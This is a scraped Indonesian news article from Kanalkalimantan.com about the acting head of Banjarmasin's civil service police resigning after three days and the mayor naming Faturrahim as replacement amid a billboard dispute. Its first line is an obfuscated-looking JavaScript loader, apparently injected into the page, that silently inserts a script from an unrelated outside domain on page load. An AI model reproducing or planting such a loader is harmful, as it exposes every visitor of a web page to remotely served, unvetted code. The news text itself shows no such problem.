(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Hanya tiga hari menjabat Pelaksana Tugas (Plt) Kepala Satpol PP dan Damkar Kota Banjarmasin, terhitung sejak Senin (22/6/2020), Gazi Ahmadi menyatakan mundur. Asisten I Setdako Banjarmasin tersebut menyampaikan pengunduran diri kepada Wali Kota Ibnu Sina dengan alasan keluarga.
Ihwal pengunduran diri Gazi, dibenarkan Ibnu Sina saat ditanya media, pada Jumat (26/6/2020).
“Ya, kemarin beliau menyatakan mengundurkan diri dengan alasan keluarga,” kata Ibnu.
Lantas, siapa yang akan mengisi kekosongan jabatan Plt. Kasatpol PP? Ibnu mengaku sudah menunjuk Dr Faturrahim untuk menggantikan Gazi. Faturrahim merupakan Staf Ahli Wali Kota Banjarmasin dan pernah menjabat sebagai Sekretaris DPRD Kota Banjarmasin. Ia mulai aktif menjabat Plt Kasatpol PP Kota Banjarmasin terhitung hari ini, Jumat (26/6/2020). “Tadi pagi sudah saya informasikan. Pak Sekda sudah memproses untuk pembuatan SK-nya,” lugas Ibnu.
Ia meminta kepada pejabat baru ini, untuk segera menyelesaikan permasalahan bando reklame, yang merupakan muara dari permasalahan Pemko Banjarmasin dengan Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan.
“Kemudian segera dibereskan yang berserakan di jalan, karena mengganggu pengguna jalan. Saya juga khawatir kalau menimbulkan kecelakaan. Termasuk yang dipotong separuh untuk dibereskan,” jelas Ibnu.
Disamping itu, Ibnu juga sudah meminta penjelasan dari Kabag Hukum Setdako Banjarmasin soal isi Perda Nomor 16 Tahn 2014. Disebutkan bahwa tidak ada yang saling bertentangan antara Perda ini dengan Permen PU Nomor 20 Tahun 2010. “Hanya kita saja yang memahaminya berbeda. Saya minta tafsir ini bagaimana, sih? Yang dibolehkan itu bando di lapangan. Kalau di tengah jalan tidak boleh. Coba dibaca lagi perdanya,” tukas Ibnu.
Seperti diketahui, Ichwan Noor Chalik yang tadinya menjabat Plt. Kasatpol PP Kota Banjarmasin dicopot pada Senin (22/6/2020) lantaran melakukan penertiban bando reklame pada Jumat (18/6/2020). Buntut dari penertiban ini, APPSI Kalsel lantas melaporkan Ichwan ke Polda Kalsel. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.